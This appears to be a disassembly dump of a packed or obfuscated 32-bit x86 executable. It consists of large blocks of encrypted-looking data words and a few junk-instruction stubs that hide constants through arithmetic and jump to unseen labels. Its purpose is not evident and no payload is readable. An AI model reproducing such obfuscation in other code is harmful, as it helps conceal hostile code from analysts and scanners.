		dd 67FB4E34h, 76A05233h, 6AC31412h, 0FB9A7BF3h,	0D5403367h
		dd 0AD95044Bh, 0C3143509h, 689A1746h, 3566FE3Bh, 0ACEF81E4h
		dd 6D45087Dh, 3667A8D9h, 782C957h, 392C5ED1h, 0EBA4E909h
		dd 0BFE9E2ADh, 0F40264DBh, 9033688Bh, 16B2EC41h, 87411956h
		dd 3564AB75h, 0BC301050h, 0FFFFFF73h, 0F9386631h, 0F4FF87B5h
		dd 5371CC77h, 0D9F0BBEBh, 4B25184Ah, 59A9940Bh,	0F420308h
		dd 4DF9AB92h, 8682AB4Ch, 7CACDFB1h, 4B336CA0h, 33681365h
		dd 3411433Dh, 7423FD0Eh, 6AD38D35h, 7C0412F4h, 0E4359A39h
		dd 72ADEF81h, 0CE03590Bh, 7BDFEA53h, 1B328EE3h,	0B559D205h
		dd 0EB133F7Eh, 71157DAFh, 71D996DDh, 6F438D54h,	0D6000000h
		dd 0C5548799h, 50CD0C60h, 7F282226h, 0CF0F117Ch, 57811E7Ch
		dd 0EE2CB2EEh, 0B49CCCB1h, 2F577495h, 33678149h, 63E1AD59h
		dd 58D8DEBBh, 551A2A2Eh, 6D357410h, 4D7592F3h, 397C1067h
		dd 7E649A3Bh, 2397C10h,	23222650h, 0D8256AB2h, 0D3F2677h
		dd 0A23C6AD3h, 0B14D18E5h, 659DE517h, 397C6683h, 6A71C549h
		dd 8D54F845h, 0DFF7h, 38667A00h, 4E829AFBh, 0D24D8FDDh
		dd 0DF314F76h, 40F22B60h, 0DC5383DDh, 44C71769h, 0C35EB310h
		dd 42FC2E5Ah, 45A073C3h, 0F78C0DA8h, 8E8A2969h,	91AECDB9h
		dd 1E7C3367h, 33ED5281h, 5BC54DDCh, 43C1A4FBh, 0C321310h
		dd 3573B4FBh, 0CAA6DD8Fh, 82EC9899h, 0BBC695F6h, 0ADF60C09h
		dd 0DE3B8527h, 28A389B1h, 0DEFF336Ah, 6A28C2A8h, 0F22CDE33h
		dd 6BEA8496h, 0A2F32D4Ah, 0F26A160Fh, 336A290Ch, 8C9F42B6h
		dd 7D8F01CDh, 45028F81h, 60926F4Ch, 69D606E0h, 285F8924h
		dd 0E02778D8h, 26AB85AAh, 9DC9097Ch, 71000001h,	1351861Dh
		dd 0B6366DBCh, 4B99CE63h, 0E060970Ah, 0A5C87FB0h, 5AD50758h
		dd 2679DF2Dh, 892073F1h, 57CC0A5Ah, 0F70F0E20h,	3980EE11h
		dd 66109D91h, 3E4EE536h, 871443E0h, 7BDAD98Ah, 1F053D5Ah
		dd 6F336781h, 0F163FD2Ch, 8FAC7191h, 44363573h,	8F8769E1h
		dd 0C155397Bh, 2149666Dh, 9FF38D54h, 66000000h,	82FB3866h
		dd 51C80B15h, 4AD4BCECh, 36AC910Ah, 33678617h, 0BBE84797h
		dd 970C4AD2h, 8896F2AEh, 0F070D54Ah, 0C1F94447h, 3573AAB0h
		dd 1973A052h, 0A288BE6Eh, 0FE397BA1h, 4B73D20Ch, 3B85459Fh
		dd 8894F163h, 0B676D748h, 79B6E461h, 2E2A4404h,	0D6498BD9h
		dd 0ABA371B1h, 9240B526h, 0D8h,	0ACDB58BAh, 71A6F75Ch
		dd 0D4039EF3h, 0BBE84594h, 3B0EB2Dh, 10401FD8h,	0B418689Fh
		dd 5BBCCC7Bh, 75795C2h,	0C2437BA8h, 80EDD6BCh, 0DF42AA39h
		dd 0DA558799h, 3F70A07Eh, 851A7888h, 38664D6Eh,	0ACEA82FBh
		dd 0A17FC077h, 0F0D6EC6Eh, 0B0336781h, 91A994C6h, 336781ABh
		dd 0F3D05F7h, 0C8FE5F5Ch, 357EE07Ah, 60F15406h,	5CC15EBCh
		dd 9CFA242Ch, 921BCA05h, 1B301C5h, 294A3604h, 570565F4h
		dd 8ECC1CF3h, 0A4E83411h, 856120Bh, 0B3F154C9h,	0B538AED7h
		dd 45856829h, 0C8A49914h, 42352885h, 0C6B86D8h,	0E13150E6h
		dd 87D71542h, 0FA5B3528h, 0A4D6498Bh, 9E1147D9h, 649DE5A7h
		dd 0C8F94DF5h, 6EFE158Ah, 0A492F330h, 5D2FF37Bh, 3051315Ah
		dd 3E2h, 0BB862F00h, 86FF3466h,	120BA8F6h, 9D80197Ah, 2B128DC3h
		dd 0B5A80355h, 3F2679DBh, 0C8BDF021h, 59CC61B4h, 0E459D007h
		db 0B3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	2431h
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 4EBE5370h
		shr	edx, 7
		shl	edx, 8
		shl	edx, 8
		dec	edx
		not	edx
		inc	edx
		sub	edx, 7D40A059h
		mov	ebx, edx
		pop	edx
		push	3571h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], ebx
		pop	eax
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		dd 0B8C7FA9Fh, 6196DD9h, 0E0FFC503h, 5C1B62Ch, 51730B36h
		dd 6EABFAE1h, 5DF8C3FFh, 6F238D8Dh, 8D0F0619h, 4, 5F7BB256h
		dd 2329BD0Bh, 8D890614h, 6142B69h, 0C7F9DA8Bh, 14105585h
		dd 65C006h, 21B46000h, 3D85C761h, 61401h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 174C357h, 2C0919A6h,	0FF2CB54Ch, 140E1DB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0E781661Ch, 95FF108Dh, 6140BD9h, 95FF006Ah, 6142971h
		dd 3EEBC08Bh, 0FF42A668h, 0B64D66D2h, 7EDC37D7h, 0DEEC218Eh
		dd 1F952C20h, 0C4810095h, 9FBF4DB9h, 6C2A726Ch,	8E86F04Fh
		dd 0C802F639h, 4B7C7F23h, 7CD906A3h, 297ED11Dh,	0D1FCAC18h
		dd 0A7DA7B2Fh, 0B0E9D37Ch, 60000000h, 0F6DA8C66h, 850F04C2h
		dd 0Ch,	0C2D853Bh, 840F0614h, 36h, 2965853Bh, 840F0614h
		dd 2Ah,	2B25853Bh, 840F0614h, 1Eh, 0A9853Bh, 840F0614h
		dd 12h,	0DA1BD83h, 0F010614h, 584h, 5FE900h, 0D08B0000h
		dd 8B3C5203h, 88BAh, 784A8B00h,	840FC985h, 49h,	0F8C281h
		dd 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h, 0FC9850Bh
		dd 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h, 4C38300h
		dd 0DC850F4Ah, 0E9FFFFFFh, 0Dh,	4DFF9D8Dh, 5B80614h, 0FF000000h
		dd 0BC361E3h, 0C28D8DD0h, 8B061970h, 14025D85h,	698D8906h
		dd 6A06142Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0CA4AC353h, 0E6CFB416h, 28E0F56h
		dd 8B000000h, 5585C7DEh, 0FC061410h, 0E9000057h, 8, 0E897C061h
		dd 0CF76CA2Ah, 85C7E38Ah, 614013Dh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 7BC35747h
		dd 0BBD635A0h, 87E1BBB8h, 816654D2h, 0FFF9F1EBh, 140D55B5h
		dd 0B1958906h, 0FF061418h, 140BD995h, 6AF88B06h, 7195FF00h
		dd 8B061429h, 4E5BEBC0h, 0C547FCDAh, 82FF728Bh,	0CED6CE05h
		dd 8077AC21h, 998FFC62h, 90989B62h, 8FE5BFB3h, 7C6732E8h
		dd 0A6B36913h, 199B696Bh, 1B037074h, 0C77FF495h, 700F141Ch
		dd 899DCD94h, 0ECB47DDAh, 6F69B703h, 2DA69D58h,	8C87FEA9h
		dd 761A8E29h, 58139D9Fh, 0EA1BA201h, 0B531B021h, 8D8DEFFFh
		dd 619720Dh, 0B9BD22B8h, 698D8931h, 6A06142Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 89BDC356h, 0FD5FB3Ah, 281h, 0C78FB600h, 14105585h, 710C06h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 14B7C8D6h, 895A7D38h, 141F29BDh,	3D85C706h
		dd 61401h, 89000000h, 14052585h, 0C59D8B06h, 0FF06140Dh
		dd 1404B1B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 5D4B0675h, 4D43BB4Fh, 1149BB66h
		dd 7FDBD0Bh, 95FF0614h,	6140BD9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 41C35747h, 75028567h, 5D98BE19h
		dd 949858Bh, 6A0614h, 297195FFh, 0C08B0614h, 1BCC7CEBh
		dd 87DC2E6Ch, 331021CAh, 3BBA9369h, 0BE18FB1Fh,	3AAA6B09h
		dd 39A0CF9Eh, 1085AD40h, 4FDA1357h, 0CFC41F7Eh,	49D7C8F6h
		dd 2861CB1Bh, 4E9C001Ah, 7E9E9B18h, 0A57E35D8h,	0EB1E9CF0h
		dd 0DB3812D7h, 0E06846h, 0A0D5522h, 413E61C9h, 0CF50DC71h
		dd 0DB709CC2h, 6B28681Eh, 6CB88BDBh, 0E7CC4CB5h, 0B4C17817h
		dd 0CDDF3750h, 73029C6h, 0B5D03910h, 0AB969D48h, 0CFCC3466h
		dd 0DE8208Eh, 0E6000000h, 28342259h, 12EF0C77h,	0BF357B60h
		dd 20DA8166h, 810F58D3h, 6, 22E98509h, 0C0810614h, 6888h
		dd 0BEA4DA80h, 19F6h, 0CE9h, 35FC7000h,	88D508Ah, 0D43BB9AAh
		dd 6630FFC1h, 815BC88Bh, 1BFD60EBh, 8159570Eh, 466C35C3h
		dd 8175B154h, 322E96F3h, 958B5332h, 6140EF5h, 958B008Fh
		dd 6142985h, 5D1E881h, 9D897E33h, 61416CDh, 5CDC081h, 0B70F7E33h
		dd 1EE81FBh, 0F000000h,	1285h, 0F9958B00h, 0E906141Dh
		dd 1Fh,	0E5690D7Ah, 52657289h, 0C4B973BFh, 96E95958h, 95FFFFFFh
		dd 254A6968h, 0B2705D92h, 0EBC7628Dh, 60h, 17h dup(0)
		dd 0BC6E900h, 0BAE90000h, 6800000Bh, 6197B9Ch, 0FB0D23E9h
		dd 7CF368FFh, 19E90619h, 68FFFB0Dh, 6197D63h, 0FB0D0FE9h
		dd 1B96B6FFh, 6778817h,	2F6A6502h, 574E7CEBh, 783554D3h
		dd 0B51D37B4h, 88171B96h, 61FE027Bh, 79E62A65h,	0A5D05447h
		dd 0E16AD946h, 0AAE955E9h, 336A6766h, 9BA8471Bh, 809BE9E2h
		dd 47B2354Ch, 87B7F21Eh, 5D151F03h, 0BDCDC0C2h,	0F410A6A2h
		dd 0F66595B9h, 16265577h, 2FDA0440h, 43677DB0h,	0B0ED1AB1h
		dd 2EC8C798h, 336E991Fh, 639BBF1Bh, 0D884B7F0h,	3B1F53F0h
		dd 84DBF317h, 6FF00885h, 0FBB6D161h, 0EC49A4D7h, 53F0D85Dh
		dd 4A072D6h, 2555507Bh,	4474295Ah, 4C7F0DDCh, 0D94C8BE3h
		dd 0ABA0A449h, 48912838h, 0F1E9A0A0h, 225B6C23h, 3246A6DEh
		dd 8DA99C19h, 5E2255E9h, 7C2F512Eh, 65677AB8h, 1B88BC36h
		dd 0ABBE4944h, 5F7B1A1Ah, 1F8CBCA0h, 0F0E4A39Eh, 385C2053h
		dd 648070FAh, 0B67C5A18h, 94809654h, 2C0088h, 80AC0000h
		dd 8B5A1864h, 0F0921F2Ah, 3C4B9453h, 8B975D41h,	0CC6667A1h
		dd 0AAA1C5C0h, 9243FE3Fh, 7CC053F0h, 604A4CB6h,	242Ah
		dd 64804000h, 0F48B5A18h, 2BAFDFD6h, 0B3BB96F5h, 0E3313AEAh
		dd 7FD467C0h, 0AD2553F0h, 67A18B27h, 4ABD3766h,	1B618060h
		dd 65AB47E0h, 0F85C49DCh, 47E053C0h, 55E485F4h,	8C090B0Fh
		dd 55E485B1h, 387391h, 2E5E4D7Fh, 0D8628956h, 2F2B428Dh
		dd 8BA8A401h, 0F645E25Dh, 0D55E499h, 0B5F01E09h, 70F30185h
		dd 18Bh, 146080BCh, 929346E7h, 3C0053F0h, 5A51730Ch, 0DA69B621h
		dd 0FB53F092h, 3AA9AF8Ch, 0B599ED23h, 6779BB7Fh, 46053665h
		dd 41CB4944h, 6480A288h, 0B67C5A18h, 24D6F48Bh,	0F7536B22h
		dd 0D55FBBD3h, 9480F735h, 62E788h, 80CD0000h, 0AFE6E364h
		dd 0F48BC98Bh, 5457DDD8h, 2C6162F9h, 9244F7E6h,	7BDF53F0h
		dd 0AD188BF9h, 0F0923100h, 44CEB253h, 206667C2h, 0F092B487h
		dd 274BCF53h, 9F188BADh, 53F092ACh, 11FEB885h, 9EF20AA3h
		dd 9D8E78BAh, 30E563C7h, 0CFFE1ADCh, 0E264AED2h, 0AC9F188Bh
		dd 2753F092h, 1F77D123h, 0FD000000h, 5A186480h,	921F2A8Bh
		dd 7ADE53F0h, 67A18BF8h, 4C043766h, 0ED9982B2h,	74FE3414h
		dd 6080604Ah, 7DEACE6h,	0E40873D9h, 167C88D7h, 0F0BABA89h
		dd 31553953h, 0C867C0E3h, 6353F0BAh, 6F9DEC1Fh,	0B1CEFE34h
		dd 63181C8Fh, 87B7EE1Ch, 0ABE2E403h, 7BFD3793h,	0AC9F188Bh
		dd 2753F092h, 83AD123h,	0E6E76695h, 88FB7DB7h, 186480A2h
		dd 54B67C5Ah, 88948096h, 2900h,	6480AC00h, 87ABE2E3h, 0AD9C1974h
		dd 2653F092h, 8B6ED022h, 0F0921F2Ah, 22B09453h,	6667A18Bh
		dd 604ABD37h, 382Ah, 64804000h,	9EAEE5E3h, 0A6CAC5C1h
		dd 2A8B3082h, 53F0921Fh, 13BA88DEh, 66B8F510h, 688CBE57h
		dd 8BA18BEAh, 9DD5BCFDh, 65AF757Ch, 0E31895B6h,	1A326B9Ch
		dd 4AF274BEh, 0D72A60h,	80400000h, 46E71460h, 53F09293h
		dd 0B1D03147h, 1A315BF1h, 5464E818h, 7E82F90Bh,	366567B4h
		dd 49444605h, 0D55FD531h, 0F48BA288h, 6E1F20D2h, 0A6D6FA5Eh
		dd 8DCD022h, 0F7CF67Ch,	0D65C5170h, 8096546Ch, 0B9C08894h
		dd 621D178Ah, 6Dh, 0E364804Eh, 0CB89ADE8h, 921F2A8Bh, 8CD353F0h
		dd 8E0A027Bh, 5A187C84h, 0DED7F48Bh, 0FBB6D1AEh, 0C42347C3h
		dd 58BCCCC9h, 8BC7E9DAh, 4911E0FDh, 0AC66EEBFh,	5A2DCEFFh
		dd 0FD2DFFEAh, 66AA0106h, 36ED93B0h, 8C4C3069h,	15395DC4h
		dd 94FB6EE6h, 10494BCAh, 0F48B1802h, 0AE58DAD3h, 272A04h
		dd 8EF90000h, 0F0921221h, 67AD9153h, 186480FDh,	1F2A8B5Ah
		dd 0DE53F092h, 0A18BF87Ah, 33C56667h, 0B9C818C2h, 4A7FF519h
		dd 36656760h, 4E4B4605h, 6C58DA3Eh, 8FBCF713h, 0AFDFCEF0h
		dd 0D6FAB3D0h, 98E7945Ch, 2EFD3766h, 0C869611Ch, 53F09277h
		dd 0E6254CABh, 0FA65A9E4h, 0AA1127C8h, 70082B22h, 51CC3F4Ch
		dd 0F04C65D4h, 539AFE53h, 53F04CE0h, 0A9151F63h, 1C6FC3AFh
		dd 4C3504A1h, 0CA4E53F0h, 3D4CA348h, 0E47B900Bh, 3B9FAFE6h
		dd 0B84939F9h, 9C7EBFCCh, 0D249DCBBh, 670BC667h, 848855E4h
		dd 0E6167A8Eh, 0E467F847h, 0B4271A55h, 0E467D86Bh, 0DECFF055h
		dd 0CFAC66EAh, 0D7F675A8h, 6AB058DAh, 748BA981h, 39h, 366567A0h
		dd 9294A706h, 898453F0h, 6163FC0Ch, 414D122Ah, 0DA31DE46h
		dd 54FF71A2h, 5D414598h, 0B94073Ah, 53F02E38h, 7B6E25BBh
		dd 58A1815Bh, 0FA11FE34h, 3EC2B9CBh, 0CD6567F4h, 0ACDCC0BBh
		dd 94A7D534h, 0D906970Bh, 0B074D849h, 304B31D0h, 0E961729h
		dd 0DCDFA524h, 71E21A3Eh, 0E9A70534h, 96BA9E55h, 0A7093865h
		dd 868A55E9h, 55C0338Ch, 0E9A779C8h, 616DFA55h,	85F00226h
		dd 4FC550E9h, 7E0D3E02h, 0A2265653h, 74E75450h,	0DDDE182Bh
		dd 7DB79B5Fh, 0DDDECD70h, 0C9202F5Fh, 852A1E56h, 37B2EC99h
		dd 77CF1DFDh, 26EF91C2h, 0C5000000h, 0DDD8F48Bh, 0FB8F5F57h
		dd 92C467C0h, 1B7F53F0h, 9D1A75E0h, 53F092AEh, 3CD32125h
		dd 5A909411h, 25h, 146080D0h, 929746E7h, 381C53F0h, 534A7C03h
		dd 41642D3Bh, 0E08839F5h, 1A7536FCh, 0C64C4743h, 7F83FE09h
		dd 18E2AB5h, 80400000h,	0A0BCE86Eh, 960B3D17h, 436B5348h
		dd 45769A0Fh, 0F0C469D8h, 4266EA53h, 0E251DE49h, 6153F0C4h
		dd 8DEC0B1Dh, 1DC44AC9h, 0A2882D17h, 0BC366567h, 9654B67Ch
		dd 889480h, 3Ah, 0E86E80ACh, 0EEEBC0C8h, 0E5E23D2Eh, 47784A8h
		dd 0F095A89Bh, 0ED272B53h, 1F2A8B6Bh, 9453F092h, 0A18B22B0h
		dd 0A3316C67h, 21D3F48Bh, 34446823h, 0EA042D0h,	432Ah
		dd 6E804000h, 2A8B581Ah, 53F0921Fh, 0D8081DEh, 0F48B6BE9h
		dd 0DD6CC9D7h, 5653F092h, 5ABECEF2h, 8BC5EFD8h,	3100AD18h
		dd 0B253F092h, 92BC8FCEh, 533753F0h, 82FF0AC1h,	1E42FB89h
		dd 269987EBh, 604A6AECh, 0BC366567h, 25D7F48Bh,	0CF456924h
		dd 648035FFh, 0F48B5A18h, 9858DAD3h, 0D7F48B5Ah, 5E6E2925h
		dd 0BC5CD6FAh, 8894807Eh, 5578h, 6480B400h, 4D95E318h
		dd 9F911EACh, 8BCA4CC6h, 0F0921F2Ah, 22B09453h,	0FD8BA18Bh
		dd 1E277372h, 984B37AFh, 903A849Ah, 0C9FA9163h,	0ACD8A7D4h
		dd 0B77DD9F1h, 8B604A4Dh, 0A0DBD2F4h, 0F0923407h, 49CB4F53h
		dd 37DFh, 709DEC00h, 0C9C1BCCEh, 0B511294Dh, 6480F57Fh
		dd 2A8B5A18h, 53F0921Fh, 8BF87ADEh, 0D7F48BA1h,	868754DEh
		dd 0D94A5D17h, 0A33A18Bh, 0DE3DABAh, 4637CC62h,	0AD979D94h
		dd 18306B67h, 4CFF38ABh, 0C753F092h, 7AC4B143h,	7E53F092h
		dd 7D89B8DFh, 48D7CAF9h, 0DF234736h, 0F4AFDDACh, 48B240C4h
		dd 0BFCB6B67h, 0D750B4C4h, 0AAA2C6B5h, 1ACE2B39h, 89166A6Fh
		dd 0FDB8D48Bh, 95FC1BCDh, 0A8A45A76h, 5579DDEDh, 247688D1h
		dd 9CAF53F0h, 0CAB58421h, 4ACE53F0h, 0E1FB20C8h, 34858594h
		dd 13FFFFFEh, 0F09286B9h, 93457853h, 0F28953F0h, 6C2120D6h
		dd 5ED43048h, 0F093ED5Fh, 932C1353h, 75E053F0h,	0F0931928h
		dd 7CB69A53h, 0F093CE71h, 22720253h, 52D09F5h, 0E39AAB74h
		dd 28A56FEBh, 13F0FD15h, 0A8782D9h, 2755B408h, 0ECAD8B14h
		dd 42C689DFh, 0C16ED94Ah, 95E7F372h, 2F878DF1h,	962758DEh
		dd 35FB9612h, 0B066C337h, 163AE3F9h, 5EDEB8E5h,	0F3578FCBh
		dd 0EECD2Ch, 0A775E5A3h, 319h, 4CD0CBFBh, 37FBB2D3h, 1CE09DA8h
		dd 0A0E8583h, 0EF336E9Dh, 0CBFA486Ch, 0B8D552D6h, 0A2AE39FDh
		dd 828423E7h, 176A070Bh, 0E9E9BB96h, 119B3855h,	0AC9F188Bh
		dd 2753F092h, 0D8F0ADD8h, 5DA587Ch, 8708803h, 0D7893F9h
		dd 0DD57527Eh, 0D906CAD0h, 0CAFC0B49h, 0A0340321h, 8FB3F762h
		dd 67E6A76Bh, 0A055E98Ch, 95003B41h, 0C0F8B5D6h, 0BBCFCE44h
		dd 4C4FC018h, 9AACB3C8h, 7E801FE3h, 3664FC0Fh, 0CEAF15E3h
		dd 397844CEh, 5FC2A70Eh, 3F4C38C9h, 0EB33E0FEh,	0EE1D6145h
		dd 0FA3E6D9Fh, 28205B6Dh, 5CEF48BBh, 0D741BB3Ah, 0A81E3B81h
		dd 0CDF18530h, 0C0C271BEh, 0FD4141BBh, 1A6E7F37h, 326F9AE1h
		dd 0A46A4C1Ah, 0D87939C1h, 22596BB4h, 5B64AE2Ah, 9224C0DAh
		dd 9512095Bh, 4B9407A6h, 535593Dh, 3384C9Dh, 149F3775h
		dd 8F85C054h, 0F99BF33Ch, 0B09451BDh, 30C2C49Bh, 1C2F880Eh
		dd 974D8EE0h, 1B7F8FB3h, 92B433F7h, 0E070E31Bh,	7C5E21EBh
		dd 0A3FDD742h, 27BB7E56h, 0B984F103h, 754D8EFAh, 6BDD3AFFh
		dd 0DE547F15h, 5A7107E6h, 868C0703h, 50E2F825h,	0EF5357A7h
		dd 0F28667DFh, 0F11F6ED9h, 0C0682BAh, 4B8AA181h, 0B97EC26Dh
		dd 4480C064h, 0C23E0C7Ch, 94000001h, 6AF53974h,	47E02459h
		dd 52CD514Ch, 2AB57934h, 19A2661Bh, 0D808F37h, 34719E09h
		dd 205B77F0h, 4A4143DCh, 0D750ABC6h, 55E9EE64h,	805054FFh
		dd 99E01B61h, 80043467h, 0EEF43172h, 6749D906h,	0E178EBE3h
		dd 5569ABE6h, 6ACBC0B4h, 4FC51D2Ch, 0FF411782h,	158E54BCh
		dd 0BE132E2Fh, 0AC905FDDh, 0F93E0266h, 62FF8FAEh, 52C4D646h
		dd 4000001h, 1A858904h,	0F770B4E9h, 0C25DA1DCh,	0DA45C9C4h
		dd 0A932F6ABh, 9D103F87h, 84010E99h, 0B0EBE780h, 0DAD1F36Ch
		dd 67C03B56h, 55E9EFD4h, 80E0246Fh, 0AFDEE061h,	0E4173B9Fh
		dd 0D9062BBBh, 5695E349h, 2F5873FBh, 69ED151Fh,	87FE0B52h
		dd 0BBC2318Dh, 9FFB138Ah, 32C4C695h, 16609815h,	3DCC55E9h
		dd 0A6CAEECCh, 0C8C3C562h, 0E39AACB3h, 0DC2D9511h, 0E01293A8h
		dd 794FC09Dh, 75961115h, 606BF438h, 4846E125h, 0A1263E4Dh
		dd 70C6B4F9h, 0ABA3DAECh, 49090B2Fh, 0CB54C732h, 5FC3D578h
		dd 0FB5697FBh, 785FC3D5h, 42411E14h, 0FB1F96B4h, 0E499A837h
		dd 67788D7h, 799592F6h,	4F3CF43Eh, 0D5E053DCh, 1F635FC3h
		dd 5B494615h, 0C3D56FDAh, 7C60E45Fh, 6A15304Fh,	4952B27Bh
		dd 0B2CAEE02h, 6714DC56h, 60B2EB18h, 20E49FABh,	0A4018587h
		dd 5FC37995h, 8BACD82Eh, 54040D87h, 9F080C30h, 8FF73B72h
		dd 861DF87Eh, 0CF146E34h, 0BAC990ABh, 4F7751C7h, 7382AADCh
		dd 6D9906A1h, 0E645EABFh, 0BF192875h, 0B69A41BDh, 0E3E57A92h
		dd 0EAA3A0BFh, 0BDBF50E3h, 7594D341h, 60840038h, 1262B87Ch
		dd 88000000h, 3AC1F8Ch,	53F09230h, 9AB2EB18h, 4CC64A3Eh
		dd 346767CAh, 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h
		dd 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h,	0D5681F27h
		dd 8900001Eh, 0EE68243Ch, 8900000Ch
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 35AF02F3h
		push	edx
		mov	edx, 4B414311h
		shl	edx, 1
		shl	edx, 6
		sub	edx, 529529DAh
		dec	edx
		shr	edx, 3
		add	edx, 0C6A8E50Ah
		mov	esi, edx
		pop	edx
		add	esi, edx
		pop	edx
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		push	edx
		mov	edx, ecx
		mov	[edi+8], edx
		pop	edx
		pop	ecx
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 8Ah,	46h, 39h
		dd 7EDAB8FEh, 0C5030619h, 20E9C38Bh, 4A000000h,	0FE561h
		dd 6 dup(0)
		dd 0E9000000h, 60Ch, 50D4C7C7h,	43C7B6D7h, 28ECA9A4h, 161A91BFh
		dd 3077A89h, 0DFEE5478h, 0C4C15EA2h, 0AEDA45C9h, 8EB02FF3h
		dd 37E1B1Fh, 0E9ED97A2h, 84E72C55h, 0BC1A9DCCh,	3EF04597h
		dd 50E874BDh, 998391F7h, 5366567h, 0C74D4846h, 0A5FC74E7h
		dd 26A39495h, 62613EF4h, 4A7CEB2Fh, 0B1C83B53h,	64E01893h
		dd 0DCCFF1AEh, 0FFAED0AFh, 0FDC94BCFh, 1C2C6162h, 0A5789F78h
		dd 2BE9A4A6h, 0D75B5274h, 5AB33C48h, 0F662739Dh, 0BECEC3C2h
		dd 0E12365Ah, 23A7591h,	0A0AE507Dh, 4EC9C1E5h, 3A9588EFh
		dd 0F09F4EFDh, 0A641C553h, 78DCECA9h, 55E9E5BAh, 0D4587C37h
		dd 0F2ABD8A7h, 22596B20h, 0E14EB92Ah, 53F09F52h, 36A76DD1h
		dd 53F09F14h, 0FC2F4629h, 28205B6Dh, 549A66ACh,	62859499h
		dd 71h,	0CD65674Eh, 960B3ABCh, 0DAFE5A72h, 59C631A2h, 53F092EAh
		dd 0AE2FE569h, 53F0929Dh, 54A6CDA2h, 85948C86h,	167C89D0h
		dd 0F66BA89h, 315539ACh, 0F477BD19h, 6,	0CCC1C299h, 6667DC46h
		dd 47780737h, 0F5B1CDA4h, 2848DED9h, 0A5D5F996h, 0D9F1ACDAh
		dd 60BBD2BDh, 949B3D10h, 3E4D422Ch, 0F00942F1h,	0B77DC153h
		dd 72B6E718h, 54D8D3F5h, 3568679Eh, 44C54E06h, 6C9EC560h
		dd 9D616E4Ah, 0D2204450h, 0E81A61D2h, 0C9FA85B5h, 3C20A4D4h
		dd 622859F6h, 99B1EC1Bh, 3B0D3C3Dh, 958653F0h, 0F03B3908h
		dd 0B2D6BA53h, 35595475h, 4DA4D305h, 8E920F3Eh,	8CBCEF11h
		dd 6DCAD8F3h, 53F03BDEh, 0BDCDF155h, 4C8EE560h,	859533AEh
		dd 0B628h, 222E3D00h, 21F35767h, 9F188B3Fh, 53F092ACh
		dd 0C3C42327h, 749348CAh, 537E0139h, 6DCA2556h,	53F092DEh
		dd 1836F155h, 7317979Dh, 2F5E6D84h, 1D017C89h, 3D709FEEh
		dd 67ADE0E2h, 0F26DD8B3h, 0F09286B5h, 30391D53h, 53F09201h
		dd 57671A29h, 79BB9FF3h, 0DEEEA3A2h, 86B5F26Dh,	1D53F092h
		dd 2624FB39h, 163A7394h, 1E2D8AE5h, 9553F092h, 0FE4363B1h
		dd 44FAF81Fh, 7285948Ah, 50A2D9EBh, 7B97h, 0A4A5A400h
		dd 920F3EE9h, 12141E7Ah, 5356867h, 3B534E7Ah, 4A11C0Fh
		dd 53F09235h, 0A348CA4Eh, 930E3D4Ch, 0BAE0E178h, 0F092CE7Dh
		dd 0DDC14553h, 6751A357h, 0A6073766h, 53F092A4h, 0FD0D8886h
		dd 0AFD16762h, 2448CCFCh, 0CB06A714h, 4853F092h, 5CB35CC4h
		dd 0A6556D6h, 1C5D5873h, 53F0922Dh, 4845A2A6h, 5BD93D4Dh
		dd 0BBC25DB4h, 62E6168Dh, 8D22C890h, 1BC8594h, 78000000h
		dd 27266C67h, 0C1457528h, 0F09249F8h, 0D946CA53h, 7FDBF3AEh
		dd 0A9B0235Bh, 7E2DE79Ah, 0E29FAA4Ch, 314A6EEAh, 92EA59C6h
		dd 0C5C253F0h, 6054B0C8h, 8904031Ch, 23243B8Bh,	0FB0D526Ah
		dd 63CC8880h, 32E1060Ch, 0C3940DBh, 0C1CC8391h,	0A14040C4h
		dd 0C707A0DBh, 3849DC62h, 295B2454h, 8EDDAE72h,	510E0481h
		dd 0ED4C7C2Fh, 55E49D50h, 5AD53C5Bh, 9DF34EEFh,	0F77055E4h
		dd 2FABA3DAh, 84B7F00Bh, 1F55E49Dh, 2022F93Bh, 0C3EA96Dh
